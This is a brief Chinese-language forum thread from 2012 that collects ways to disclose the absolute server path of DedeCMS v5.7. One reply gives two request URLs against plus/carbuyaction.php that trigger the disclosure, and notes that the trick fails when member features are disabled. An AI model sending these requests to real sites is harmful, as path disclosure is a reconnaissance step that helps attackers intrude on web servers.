一些 dedecms v5.7 爆绝对路径的方法收集

1、

xiaoxiaoabc 发表于 2012-12-20 20:54

没有找到评论的相对字体颜色，报错信息。

2、

冰封 发表于 2012-12-20 21:30

dede爆路径

http://localhost/dedecms/plus/carbuyaction.php?dopost=return&code=bank

http://localhost/dedecms/plus/carbuyaction.php?dopost=return&code=cod

上次看代码的时候看测试发现的 具体不知道是否通杀 也弄出来吧 算不上什么

该方法缺陷：关闭会员功能则失效